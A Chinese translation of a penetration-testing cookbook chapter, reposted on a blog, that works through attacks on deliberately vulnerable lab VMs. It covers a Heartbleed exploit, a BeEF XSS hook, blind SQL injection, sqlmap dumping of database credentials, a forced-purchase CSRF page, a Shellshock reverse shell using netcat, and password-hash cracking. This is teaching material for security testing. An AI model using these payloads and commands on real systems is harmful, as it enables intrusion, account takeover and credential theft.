第七章 高級利用

作者:Gilberto Najera-Gutierrez
譯者:飛龍
協議:CC BY-NC-SA 4.0

簡介

在獲得一些便利來發現和利用漏洞之后,我們現在轉向可能需要更多努力的其他問題上。

這一章中,我們會搜索利用,編譯程序,建立服務器以及破解密碼,這可以讓我們訪問敏感信息,并執行服務器和應用中的特權功能。

7.1 在 Exploit-DB 中搜索 Web 服務器的漏洞

我們偶爾會在操作系統中, Web 應用所使用的庫中,以及活動服務中發現服務器漏洞,或者可以在瀏覽器或 Web 代理中不能利用的安全問題。對于這些情況,我們可以使用 Metasploit 的利用集合,或者如果我們要找的不在 Metasploit 里面,我們可以在 Exploit-DB 中搜索它。

Kali 包含了 Exploit-DB 中的利用的離線副本。這個秘籍中,我們會使用 Kali 自帶的命令來探索這個數據庫并找到我們需要的利用。

操作步驟

  • 1.打開終端。

  • 2.輸入下列命令:

1  searchsploit heartbleed
  • 3.下一步是將利用復制到一個可以修改的地方,并編譯它,像這樣:
1  mkdir heartbleed 
2  cd heartbleed
3  cp /usr/share/exploitdb/platforms/multiple/remote/32998.c 
  • 4.通常,利用在第一行包含一些自身信息,以及如何使用它們,像這樣:
1  head -n 30 32998.c
  • 5.這里,利用使用 C 編寫,所以我們需要將它編譯來使用。編譯命令在文件中顯示(cc -lssl -lssl3 -lcrypto heartbleed.c -o heartbleed),它在 Kali 中不起作用,所以我們需要下面這個:
1  gcc 32998.c -o heartbleed -Wl,-Bstatic -lssl -Wl,-Bdynamic -lssl3 -lcrypto

工作原理

searchsploit命令是安裝在 Kali 中的 Exploit-DB 本地副本的接口。它用于在利用的標題和描述中搜索字符串,并顯示結果。

利用存在于/usr/share/exploitdb/platforms目錄中。searchsploit所展示的利用目錄是它的相對路徑,這就是我們在復制文件的時候使用完整路徑的原因。利用文件以利用編號命名,在它們被提交到Exploit-DB 時分配。

編譯步驟和在源代碼中的推薦有些不同,因為 OpenSSL 庫在基于 Debian 的發行版中,由于它們從源代碼中構建的方式而缺少一些功能。

更多

監控利用的影響和效果極其重要,因為我們在實時系統中使用它。通常,Exploit-DB 中的利用都值得相信,即使它們通常需要一些調整來工作在特定的環境中,但是它們中有一些不像他們所說的那樣。出于這個原因,在真實世界的滲透測試中使用之前,我們需要檢查源代碼并在我們的實驗環境中測試它們。

另見

除了 Exploit-DB(www.exploit-db.com),也有一些其他站點可以用于搜索目標系統中的已知漏洞和利用:

7.2 利用 Heartbleed 漏洞

這個秘籍中,我們會使用之前編譯的 Heartbleed 利用來提取關于存在漏洞的 Bee-box 服務器的信息(https://192.168.56.103:8443/)。

Bee-box 虛擬機可以從https://www.vulnhub.com/ entry/bwapp-bee-box-v16,53/下載,那里也有安裝指南。

準備

在上一個秘籍中,我們生成了 Heartbleed 利用的可執行文件。我們現在使用它來利用服務器的漏洞。

Heartbleed 是能夠從服務器內存中提取信息的漏洞。在嘗試利用來獲得一些要提取的信息之前,可能需要瀏覽并向服務器的 8443 端口上的 HTTPS 頁面發送數據。

操作步驟

  • 1.如果我們檢查Bee-Box 的 8443 端口,我們會發現它存在 Heartbleed 漏洞。
1  sslscan 192.168.56.103:8443
  • 2.現在,讓我們開始利用漏洞。手心,我們訪問包含可執行利用的文件夾:
1  cd heartbleed
  • 3.之后我們檢查程序的選項,像這樣:
1  ./heartbleed --help
  • 4.我們要嘗試利用192.168.56.103的 443 端口,獲得最大的泄露并保存輸出到文本文件hb_test.txt
1  ./heartbleed -s 192.168.56.103 -p 8443 -f hb_test.txt -t 1
  • 5.現在,如果我們檢查hb_test.txt的內容:
1  cat hb_test.txt

我們的利用從 HTTPS 服務器中提取了信息,從這里我們可以看到會話 OD 甚至還有完整的登錄請求,包括純文本用戶名和密碼。

  • 6.如果我們想要跳過所有的二進制數據,只查看文件中的可讀文本,使用strings
    命令:
1  strings hb_test.txt

工作原理

我們在第四章中提到過,Heartbleed 漏洞允許攻擊者從 OpenSSL 服務器內存中以純文本讀取信息,這意味著我們不需要解密甚至是解釋任何客戶端和服務端之間的通信,我們只需簡單地向服務器請求內存中的東西,它會回應未加密的信息。

這個秘籍中,我們使用了可公共訪問的利用來執行攻擊,并獲取到至少一個有效的會話 ID。有的時候還可能在 Heartbleed 的轉儲中找到密碼或其它敏感信息。

最后,strings命令只展示文件中的字符串,跳過所有特殊字符,使其更加易讀。

7.3 使用 BeEF 利用 XSS

BeEF,即瀏覽器利用框架,是個專注于客戶端攻擊向量的框架,特別是 Web 瀏覽器的攻擊。

這個秘籍中,我們會利用 XSS 漏洞并使用 BeEF 來控制客戶端瀏覽器。

準備

在開始之前,我們需要確保啟動了 BeEF 服務,并且能夠訪問http://127.0.0.1:3000/ui/panel(使用beef/beef身份標識)。

  • 1.Kali 的默認 BeEF 服務不能工作。所以我們不能僅僅運行beef-xss讓它啟動。我們需要從安裝目錄中啟動它,像這樣:
cd /usr/share/beef-xss/ ./beef
  • 2.現在,瀏覽http://127.0.0.1:3000/ui/panel并使用beef作為用戶名和密碼。如果有效,我們就準備好了。

操作步驟

  • 1.BeEF 需要客戶端瀏覽器調用hook.js文件,這用于將瀏覽器勾到我們的 BeEF 服務器,我們會使用一個存在 XSS 漏洞的應用來使用戶調用它。為了嘗試簡單的 XSS 測試,瀏覽http://192.168.56.102/bodgeit/search.jsp?q=%3Cscript%3Ealert%28 1%29%3C%2Fscript%3E

  • 2.這就是存在 XSS 漏洞的應用,所以現在我們需要修改腳本來調用hook.js。想象一下你就是受害者,你已經收到了包含http://192.168.56.102/bodgeit/search.jsp?q=<script src="http://192.168.56.1:3000/hook.js"></script>鏈接的郵件,你打算瀏覽器它來看看,像這樣:

  • 3.現在,在 BeEF 面板中,攻擊者會看到新的在線瀏覽器。

  • 4.攻擊者的最佳步驟就是生成一些持久的,至少在用戶瀏覽期間有效。訪問攻擊者瀏覽器的Command標簽頁,從這里選擇Persistence | Man-In-The-Browser之后點擊Execute。執行之后,選擇Module Results History中的相關命令來檢查結果,像這樣:

  • 5.如果我們檢查瀏覽器中的Logs標簽頁,我們可能會看到BeEF正在儲存用戶關于用戶在瀏覽器中執行什么操作的信息,例如輸入和點擊,我們可以在這里看到:

  • 6.我們也可以通過使用Commands | Browser | Hooked Domain | Get Cookie來獲取Cookie,像這樣:

工作原理

這個秘籍中,我們使用了script標簽的src屬性來調用外部 JS 文件,這里是 BeEF的鉤子。

hook.js文件與服務器通信,執行命令并返回響應,使攻擊者能夠看到它們。它在客戶端的瀏覽器中不打印任何東西,所以受害者通常不會知道他的瀏覽器正在被攻擊。

在讓受害者執行我們的hook腳本之后,我們使用持久化模塊 Man In The Browser 使瀏覽器在每次用戶點擊鏈接時,向相同域發送 AJAX 請求,所以這個請求維持了鉤子,也加載了新的頁面。

我么也會看到,BeEF 的日志記錄了用戶在頁面上執行的每個步驟,我們能夠從中獲得用戶名和密碼信息。也可以用來獲得遠程的會話 Cookie,這可以讓攻擊者劫持受害者的會話。

更多

BeEF 擁有很多功能,從判斷受害者所使用的瀏覽器類型,到利用已知漏洞和完全攻陷客戶端系統。一些有趣的特性是:

  • Social Engineering/Pretty Theft:這是個社會工程工具,允許我們模擬登陸頁面,就像常見的服務那樣,例如 Fackbook、Linkedin、YouTube 以及其它。

  • Browser/Webcam and Browser/Webcam HTML5:就像看上去那樣,這兩個模塊能夠惡意使用許可配置來激活受害者的攝像頭,前者使用隱藏的 Flash embed標簽,后者使用 HTML5 標簽。

  • Exploits folder:這包含一組特殊軟件和情況的利用,它們中的一些利用服務和其它客戶端瀏覽器。

  • Browser/Hooked Domain/Get Stored Credentials:這會嘗試提取瀏覽器中儲存的淪陷域的用戶名和密碼。

  • Use as Proxy:如果我們右擊被勾住的瀏覽器,我們會獲得將其用作代理的選項。這將客戶端瀏覽器用作代理,會給我們機會來探索受害者的內部網絡。

BeEF 有許多其它攻擊和模塊,對滲透測試者非常實用,如果你想要了解更多,你可以查看官方的 Wiki:https://github.com/ beefproject/beef/wiki

7.4 利用 SQL 盲注

在第六章中,我們利用了基于錯誤的 SQL 注入,現在我們使用 Burp Suite Intruder 作為主要工具來識別和利用 SQL 盲注。

準備

使瀏覽器將 Burp Suite 用作代理。

操作步驟

  • 1.瀏覽http://192.168.56.102/WebGoat,實用webgoat作為用戶名和密碼登錄。

  • 2.點擊Start WebGoat來訪問 WebGoat 的主頁。

  • 3.訪問Injection Flaws | Blind Numeric SQL Injection

  • 4.頁面上說,練習的目標是找到給定字段在給定行中的值。我們的做事方式有一點不同,但是讓我們看看它如何工作:將101作為賬戶號碼,并點擊go

  • 5.現在嘗試1011


    到目前為止,我們看到了應用的行為,它僅僅告訴我們賬戶號碼是否有效。

  • 6.讓我們嘗試注入,因為它查找號碼,可能將它們用作整數。我們在測試中不使用單引號,所以提交101 and 1=1
    `

  • 7.現在嘗試101 and 1=2


    看上去這里有個盲注,在有效的賬戶中注入恒真的條件結果。注入恒假的條件時會出現Invalid account number信息。

  • 8.在這個秘籍中,我們要獲得連接到數據庫的用戶名稱。所以我們首先需要知道用戶名稱的長度。讓我們嘗試一下,注入101 AND 1=char_length(current_user)

  • 9.下一步是在 BurpSuite 的代理中尋找最后一個請求,并將它發送到 intruder中,像這樣:


  • 10.一旦發送到 intruder,我們可以清楚所有載荷標記,并在AND后面的1中添加新的,像這樣:

  • 11.訪問載荷部分并將Payload type設為Numbers

  • 12.將Payload type設為Sequential,從 1 到 15,步長為 1。

  • 13.為了看看響應是否滿足要求,訪問Intruder's options,清除GrepMatch列表并添加Invalid account number,以及Account number is valid


    我們需要在每個 intruder 的標簽頁中這樣修改。

  • 14.為了使應用自動化,在Redirections中選擇Always,并在Redirections中選擇Process cookies


    我們需要在每個 intruder 的標簽頁中這樣修改。

  • 15.開始攻擊



    它找到了號碼為 2 的有效響應,這意味著用戶名只含有兩個字符長。

  • 16.現在,我們打算猜測用戶名的每個字符,從第一個字符開始。在應用中提交下列代碼:101 AND 1=(current_user LIKE 'b%')
    我們選擇b作為第一個字符,讓 BurpSuite 來獲取請求,它應該為任意字符。

  • 17.同樣,我們將請求發送給 intruder 并保留唯一的載荷標記b
    ,它是名稱的首單詞。


  • 18.我們的載荷應該是含有所有小寫字母和大寫字母的列表(從 a 到 z 以及 A 到 Z)。


  • 19.在 intruder 中重復步驟 13 到 14 并開始攻擊,像這樣:


    我們的用戶名的首字母是S

  • 20.現在,我們需要找到名稱的第二個單詞,所以我們提交101 AND 1=(current_user='Sa')到應用的文本框,并發送請求給 intruder。

  • 21.現在我們的載荷標記是S后面的a,換句話說,名稱的第二個字符。

  • 22.重復步驟 18 到 19。在我們的例子中,我們只使用了倆表中的大寫字母,因為如果第一個單詞是大寫的,兩個單詞就很可能都是大寫的。


    名稱的第二個單詞是A,所以應用用于執行查詢的數據庫用戶是SASA在 MSSQL 數據庫中的意思是系統管理員。

工作原理

利用 SQL 盲注比起基于錯誤的注入花費更多精力和時間。在這個秘籍中我們看到了如何獲取連接到數據庫的用戶名,而在第六章的 SQL 注入利用匯總,我們使用了一條命令來獲取它。

我們可以使用字典來查看當前用戶是否在名稱列表中,但是如果名稱不在列表中,會花費更多時間。

我們最開始識別了漏洞,所顯示的信息告訴我們我們的請求是真是假。

一旦我們知道存在注入,并且正面的響應是什么樣子,我們開始詢問當前用戶的長度,詢問數據庫,1是否是當前用戶名的長度,是不是2,以此類推,知道我們發現了長度。知道何時停止用戶名長度的搜索非常重要。

在找到長度之后,我們使用相同的技巧來發現首字母,LIKE 'b%'語句告訴 SQL 解釋器是否首字母是b,剩下的并不重要,它可以是任何東西(%是用于多數 SQL 實現的通配符)。這里,我們看到了首字母是S。使用相同的技巧,我們就能發現第二個字符,并得到整個名稱。

更多

這個攻擊可以繼續來獲得 DBMS 的版本,之后使用廠商特定的命令來觀察是否用戶擁有管理權限。如果是的話,你可以提取所有用戶名和密碼,激活遠程連接,以及除此之外的許多事情。

你可以嘗試的事情之一就是使用 SQLMap 來利用這類型的注入。

還有另一種類型的盲注,它是基于時間的 SQL 盲注。其中我們沒有可視化的線索,關于命令是否被執行(就像有效或者無效的賬戶信息)。反之,我們需要給數據庫發送sleep命令,如果響應時間鯧魚我們發送的時間,那么它就是真的響應。這類型的攻擊非常緩慢,因為它有時需要等待 30 秒來獲得僅僅一個字符。擁有類似 sqlninja 或者 SQLMap 的工具在這種情況下十分有用(https://www.owasp.org/index.php/Blind_SQL_Injection)。

7.5 使用 SQLMap 獲得數據庫信息

在第六章中,我們使用了 SQLMap 來從數據庫提取信息和表的內容。這非常實用,但是這不僅僅是這個工具的優勢,也不是最有趣的事情。這個秘籍中,我們會將其用于提取關于數據庫用戶和密碼的信息,這可以讓我們訪問整個系統,而不僅僅是應用。

操作步驟

  • 1.啟動 Bee-box 虛擬機之后,將 BurpSuite 監聽用做代理,登錄和選擇 SQL 注入漏洞(POST/Search)。

  • 2.輸入任何電影名稱并點擊Search

  • 3.現在讓我們訪問 BuirpSuite 并查看請求:


  • 4.現在,在 Kali 中訪問終端并輸入以下命令:

1  sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title --is-dba

我們可以看到注入成功了。當前的用戶是 DBA,這意味著用戶可以對數據庫執行管理員操作,例如添加用戶和修改密碼。

  • 5.現在我們打算提取更多信息,例如用戶和密碼,所以在終端中輸入以下命令:
1  sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title --is-dba --users --passwords

我們現在得到了數據庫的用戶列表以及哈希后的密碼。

  • 6.我們也可以獲得 shell,讓我們能夠直接發送 SQL 查詢到數據庫。
1  sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title –sql-shell

工作原理

一旦我們知道了存在 SQL 注入,我們使用 SQLMap 來利用它,像這樣:

1  sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title --is-dba

在這個對 SQLMap 的調動中,我們使用了--cookie參數來發送會話 Cookie 因為應用需要身份驗證來訪問sqli_6.php頁面。--data參數包含發送到服務器的 POST 數據,=p告訴 SQLMap 僅僅注入title參數,--is-dba詢問數據庫當前用戶是否擁有管理員權限。

DBA 允許我們向數據庫詢問其他用戶的信息,SQLMap 通過--users--passwords使我們的操作變得更加容易。這些參數詢問用戶名和密碼,因為所有 DBMS 將用戶的密碼加密存儲,我們獲得的只能是哈希。所以我們仍然要使用密碼破解器來破解它們。如果你在 SQLMap 詢問你執行字典攻擊的時候回答Yes,你可能就知道了至少一個用戶的密碼。

我們也使用了--sql-shell選項來從我們向數據庫發送的 SQL 查詢中獲得 shell。這并不是真的 shell,當然,SQLMap 通過 SQL 注入發送我們寫的命令,并返回這些查詢的結果。

7.6 執行 CSRF 攻擊

CSRF 攻擊強迫身份驗證后的用戶在 Web 應用中執行需要身份驗證的,非預期的行為。這可以通過用戶所瀏覽的外部站點觸發該行為來實現。

這個秘籍中,我們會獲取應用中的信息,來觀察攻擊站點是否能夠發送有效的請求給漏洞服務器。之后,我們會創建頁面來模擬正常請求并誘使用戶在身份驗證后訪問這個頁面。惡意頁面之后會發送請求給漏洞服務器,如果應用在相同瀏覽器中打開,它會執行操作,好像用戶發送了它們。

準備

為了執行 CSRF 攻擊,我們使用 vulnerable_vm 中的 WackoPicko 應用:http://192.168.56.102/WackoPicko。我們需要兩個用戶,一個叫做v_user,是受害者,另一個叫做attacker

我們也需要啟動 BurpSuite 并將其配置為服務器的代理。

操作步驟

  • 1.作為attacker登錄 WackoPicko。

  • 2.攻擊者首先需要了解應用的行為,所以如果我們發酸使用戶購買我們的圖片,將 BurpSuite 用作代理,我們需要瀏覽:http://192.168.56.102/WackoPicko/pictures/recent.php

  • 3.選項 ID 為 8 的圖片:http://192.168.56.102/WackoPicko/ pictures/view.php?picid=8

  • 4.點擊Add to Cart

  • 5.會花費我們 10 個 Tradebux,但這是值得的,所以點擊Continue to Confirmation

  • 6.在下一頁上,點擊Purchase

  • 7.現在,讓我們訪問 BurpSuite 來分析發生了什么。

第一個有趣的調用是/WackoPicko/cart/action. php?action=add&picid=8,它是添加圖片到購物車的請求。/WackoPicko/cart/confirm.php在我們點擊相應按鈕時調用,它可能必須用于購買。另一個可被攻擊者利用的是購買操作的 POST 調用:/WackoPicko/cart/action. php?action=purchase,他告訴應用將圖片添加到購物車中并收相應的 Tradebux。

  • 8.現在,攻擊者需要上傳圖片來強迫其它用戶購買。登錄為attacker
    之后,訪問Upload,填充所需信息,選項需要上傳的文件,點擊UploadFile


    一旦圖片唄上傳,我們會直接重定向到它的相應頁面,你可以在這里看到:

    要注意為圖片分配的 ID,它是攻擊的核心部分,這里它是 16。

  • 9.一旦我們分析了購買流程,并擁有了圖片 ID,我們需要啟動托管惡意頁面的服務器。在 Kali 中以 root 用戶啟動 Apache 服務器,像這樣:

service apache2 start 
  • 10.之后,創建 HTML 文件,叫做/var/www/html/wackopurchase.html
    ,帶有如下內容:
1  <html> 
2  <head></head> 
3  <body onLoad='window.location="http://192.168.56.102/ WackoPicko/cart/action.php?action=purchase";setTimeout("window. close;",1000)'> 
4  <h1>Error 404: Not found</h1> 
5  <iframe src="http://192.168.56.102/WackoPicko/cart/action. php?action=add&picid=16"> 
6  <iframe src="http://192.168.56.102/WackoPicko/cart/review.php" > 
7  <iframe src="http://192.168.56.102/WackoPicko/cart/confirm.php">
8  </iframe> 
9  </iframe> 
10 </iframe> 
11 </body>

這個代碼會我們的商品的發送addreviewconfirm請求給 WackoPicko ,之后展示 404 頁面給用戶,當它加載完成后,它會重定向到購買操作,之后在一秒后關閉窗口。

  • 11.現在以v_user登錄,上傳圖片并登出。

  • 12.作為攻擊者,我們需要確保用戶訪問我們的惡意站點,同時仍然保持登錄 WackoPicko。以attacker登錄之后,訪問Recent并選擇屬于v_user的圖片(剛剛上傳的那個)。

  • 13.我們需要在圖片上輸入下列評論。

1  This image looks a lot like <a href="http://192.168.56.1/ wackopurchase.html" target="_blank">this</a>

譯者注:這一步的前提是頁面上存在 XSS,沒有的話利用社會工程直接發送鏈接也是可行的。

  • 14.點擊Preview之后Create


    你可以看到,評論中允許HTML 代碼,而且當v_user點擊鏈接是,我們的惡意頁面會在新窗口打開。

  • 15.登出并以v_user登錄。

  • 16.訪問Home并點擊Your Purchased Pics,這里應該沒有攻擊者的圖片。

  • 17.再次訪問Home,之后訪問Your Uploaded Pics

  • 18.選項帶有攻擊者評論的圖片。

  • 19.點擊評論中的鏈接。



    當它完全加載之后,你應該看到文本框中的一些 WackoPicko 的文本,這個窗口會在一秒之后關閉,我們的攻擊已經完成了。

  • 20.如果我們訪問Home,你可以看到v_user的 Tradebux 余額現在是 85。

  • 21.現在訪問Your Purchased Picshttp://192.168.56.102/WackoPicko/ pictures/purchased.php來查看非預期購買的圖片:

對于 CSRF 工具者,成功執行漏洞需要預置條件。首先,我們需要了解執行特殊操作所需的請求參數,以及我們需要在所有情況中都處理的響應。

這個秘籍中,我們使用了代理和有效用戶賬戶來執行我們所需的操作,來復制和收集所需信息:購買過程中涉及到的請求,這些請求所需的信息,以及執行它們的正確順序。

一旦我們知道了需要向應用發送什么,我們需要將其自動化,所以我們啟動 Web 服務器,并準備頁面使調用以正確順序和正確參數執行。通過使用 onLoadJS 時間,我們確保購買在addconfirm調用之前不會執行。

在每個 CSRF 攻擊中,都必須有方法讓用戶訪問我們的惡意站點,同時保持正常站點的登錄。這個秘籍中,我們使用應用的特性,它的評論允許 HTML 代碼,并可以在這里輸入鏈接。所以當用戶點擊某個圖片評論中的鏈接時,它就向我們的 Tradebox 盜取站點發送了請求。

最后,當用戶訪問我們的站點時,它模擬了錯誤頁面,并在購買請求剛剛完成后關閉自己。在這里我們并不需要擔心滲透,所以錯誤頁面可以改進一下使用戶不懷疑它。這通過 HTML body標簽中的onload事件中的 JavaScript命令(購買操作的調用,和用于關閉窗口的計時器)來完成。這個時間在頁面的所有元素完全加載之后觸發,換句話說,當addreviewconfirm的步驟完成之后。

7.7 使用 Shellsock 執行命令

Shellshock(也叫作Bashdoor)是個在 2014 年九月發現在 Bash shell 中的bug,允許命令通過儲存在環境變量中的函數來執行。

Shellshock 和我們滲透測試者有關系,因為開發者有時候允許我們在 PHP 或 CGI 腳本中調用系統命令 – 這些腳本可以利用系統環境變量。

這個秘籍中,我們會在 Bee-box 漏洞虛擬機中利用 Shellshock 漏洞來獲得服務器的命令執行權。

操作步驟

  • 1.登錄http://192.168.56.103/bWAPP/

  • 2.在Choose your bug下拉框中選擇Shellshock Vulnerability (CGI),之后點擊Hack


    在文本中,我們看到了一些有趣的東西;Current user: www-data。這可能意味著頁面使用系統調用來獲得用戶名。它給了我們提示:Attack the referrer

  • 3.讓我們看看背后有什么東西,使用 BurpSuite 來記錄請求并重復步驟 2。

  • 4.讓我們查看代理的歷史:


    我們可以看到,有個iframe調用了 shell 腳本:./cgi-bin/shellshock.sh,這可能存在 Shellshock 漏洞。

  • 5.讓我們跟隨提示并嘗試攻擊shellshock.sh。所以我們首先需要配置 BurpSuite 來攔截服務器的響應,訪問Proxy標簽頁的Options,并選中Intercept responses based on the following rules的選擇框。

  • 6.現在,讓 BurpSuite 攔截和重新加載shellshock.php

  • 7.在 BurpSuite 中,點擊Forward直到得到了/bWAPP/cgi-bin/ shellshock.sh請求,之后將Referer替換為:

1  () { :;}; echo "Vulnerable:"
  • 8.再次點擊Forward,在.ttf文件的請求中,我們應該能得到shellshcok.sh的響應,像這樣:


    現在響應多了一個協議頭參數,叫做Vulnerable。這是因為它將echo命令的輸出集成到 HTTP 協議頭中,所以我們可以進一步利用它。

  • 9.現在使用下列命令重復這個過程:

1  () { :;}; echo "Vulnerable:" $(/bin/sh -c "/sbin/ifconfig")
  • 10.能夠在遠程服務器上執行命令,對于滲透測試來說是個巨大的優勢,下一步自然是獲得遠程 shell。在 Kali 中打開終端,監聽網絡端口,像這樣:
1  nc -vlp 12345
  • 11.現在訪問 BurpSuite 的代理歷史,選擇任何shellshock.sh的請求,右擊它并發送到 Repeater,像這樣:

  • 12.在 Repeater 中,修改 Referer 的值為:

1  () { :;}; echo "Vulnerable:" $(/bin/sh -c "nc -e /bin/bash 192.168.56.1 12345")

這里,192.168.56.1 是我們 Kali 主機的地址。

  • 13.點擊Go

  • 14.如果我們檢查我們的終端,我們可以看到連接已建立,執行一些命令來檢查我們是否得到了遠程 shell。


工作原理

在第一步中,我們發現了 shell 腳本的調用。因為它可以被 shell 解釋器運行,它可能是漏洞版本的 bash。為了驗證,我們執行了下列測試:

1  () { :;}; echo "Vulnerable:" 

第一個部分() { :;};是個空函數,因為 bash 可以將函數儲存為環境變量,這個是漏洞的核心。在函數結束之后,解析器會繼續解釋(并執行)命令,這允許我們執行第二個部分echo "Vulnerable:,這是簡單返回輸入的命令。

Web 服務器中存在漏洞,因為 CGI 事先將請求的所有部分映射為環境變量,所以這個攻擊通過User-Agent或者Accept-Language也能工作。

一旦我們知道了服務器存在漏洞,我們鍵入測試命令ifconfig并建立反向 shell

反向 shell 是一種遠程 shell,它的特點是由受害者主機初始化,攻擊者監聽連接,而不是服務器在綁定連接中等待客戶端的連接。

7.8 使用 John the Ripper 和字典來破解密碼哈希

在上一個秘籍,以及第六章中,我們從數據庫中提取了密碼哈希。在執行滲透測試的時候,有時候這是唯一的用于發現密碼的方式。為了發現真實的密碼,我們需要破譯它們。由于哈希由不可逆的函數生成,我們沒有辦法直接解密密碼。所以使用慢速的方法,例如暴力破解和字典攻擊就很有必要。

這個秘籍中,我們會使用 John the Ripper(JTR 或 John),最流行的密碼破解器,從第六章“逐步執行基本的 SQL注入”秘籍中提取的哈希中恢復密碼。

操作步驟

  • 1.雖然 JTR 對接受的輸入非常靈活,為了防止錯誤解釋,我們首先需要以特定格式設置用戶名和密碼哈希。創建叫做hashes_6_7.txt的文本文件,每行包含一個名稱和一個哈希,以冒號分隔(username:hash),像這樣:

  • 2.一旦我們擁有了這個文件,我們可以打開終端并執行下列命令:

1  john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 hashes_6_7.txt

我們使用 Kali 預置的單詞列表之一。我們可以看到單詞列表中六個密碼發現了五個,我們也能發現,John 每秒能比較 10,336,000 次(10,336 KC/s)。

  • 3.John 也有選項來應用修改器規則 – 添加前后綴,修改大小寫,以及在每個密碼上使用 leetspeak。讓我們在仍然未破解的密碼上嘗試它們:
1  john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 hashes_6_7.txt –rules

我們可以看到這個規則生效了,我們得到了最后一個密碼。

工作原理

John(以及任何離線密碼破解器)的工作方式是計算列表(或所生成的)單詞的哈希,并將它們與需要被破解的哈希對比,當存在匹配時,它就假設密碼找到了。

第一個命令使用--wordlist選項告訴 John 要使用什么單詞。如果忽略了它,它會生成自己的列表來執行爆破攻擊。--format選項告訴我們要使用什么算法來生成哈希,如果這個選項被忽略,John 會猜測它,通常帶有不錯的結果。最后,我們將包含想要破解的哈希的文件傳入。

我們可以通過使用--rules選項來增加找到密碼的機會,因為在嘗試創建更強的密碼來破解的時候,它會使用人們對單詞所做的常用修改。例如,對于password,John也會嘗試下面的東西:

  • Password
  • PASSWORD
  • password123
  • Pa$$w0rd

7.9 使用 oclHashcat/cudaHashcat 爆破密碼哈希

最近,顯卡的發展取得了巨大突破,這種芯片中含有成百上千個處理器,它們都并行工作。這里,當應用在密碼破解上是,這意味著,如果單個處理每秒可以計算一萬個哈希,一個帶有上千內核的 GPU 就能夠計算一千萬個。這可以將破解時間降至一千分之一。

現在我們使用 Hashcat 的 GPU 版本來爆破密碼。如果你在 N 卡的電腦上安裝的 Kali,你需要 cudeHashcat。如果它安裝在 A 卡的電腦上,則需要 oclHashcat。如果你在虛擬機上安裝 kali,GPU 破解可能不工作,但是你始終可以在你的主機上安裝它,Windows 和 Linux 上都有它的版本。

這個秘籍中,我們會使用 oclHashcat,它和 cudaHashcat 的命令沒有區別,雖然 A 卡對于密碼破解更加高效。

準備

我們需要確保你正確安裝了顯卡驅動,oclHashcat 也兼容它們,所以你需要做這些事情:

  • 1.單獨運行 oclHashcat,如果出現問題它會告訴你。
1  oclhashcat
  • 2.測試它在跑分模式中支持的每種算法的哈希率。
1  oclhashcat --benchmark 
  • 3.取決于你的安裝,oclHahcat 可能需要在你的特定顯卡上強行工作:
1  oclhashcat --benchmark --force

我們會使用上一個秘籍的相同哈希文件。

Kali 默認安裝的 oclHashcat 上有一些問題,所以如果你在運行 oclHashcat 的時候出現了問題,你始終可以從官網上下載最新版本,并從你解壓的地方直接運行(http://hashcat.net/ oclhashcat/)。

操作步驟

  • 1.我們首先破解單個哈希,讓我們試試admin的哈希:
1  oclhashcat -m 0 -a 3 21232f297a57a5a743894a0e4a801fc3

你可以看到,我們能夠直接從命令行中設置哈希,它會在一秒之內破解出來。

  • 2.現在,為了破解整個文件,我們需要去掉用戶名,只保留哈希,像這樣:



    我們創建了只包含哈希的新文件。

  • 3.為了破解文件中的哈希,我們只需要在上一條命令中將哈希替換為文件名稱。

1  oclhashcat -m 0 -a 3 hashes_only_6_7.txt

你可以看到,它在三分鐘之內涵蓋了一到七個字符的所有組合(每秒破解 6.885 億個哈希)。并且它需要花費多于兩個小時來測試八個字符的所有組合。這對于爆破來說十分有效。

工作原理

在這個秘籍中,我們用于執行oclHahcat的參數定義了要使用的哈希算法:-m 0告訴程序使用 MD5 來計算所生成單詞的哈希,以及攻擊類型,-a 3的意思是我們打算使用純爆破攻擊,并嘗試所有可能的字符組合,直到發現了密碼。最后,我們在第一種情況中添加了我們打算破解的哈希,第二種情況中我們添加了包含哈希集合的文件。

oclHahcat 也可以使用字典文件來執行混合攻擊(爆破加上字典)來定義要測試哪個字符集,并將結果保存到指定文件中(/usr/share/oclhashcat/oclHashcat.pot)。他也可以對單詞應用規則,并使用統計模型(馬爾科夫鏈)來增加破解效率。使用--help命令來查看所有選項,像這樣:

1  oclhashcat --help

版權聲明:本文轉載自wizardforcel的專欄,如有侵權,請與本人聯系。
專欄鏈接:http://blog.csdn.net/wizardforcel

原文鏈接:http://blog.csdn.net/wizardforcel/article/details/52858046

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容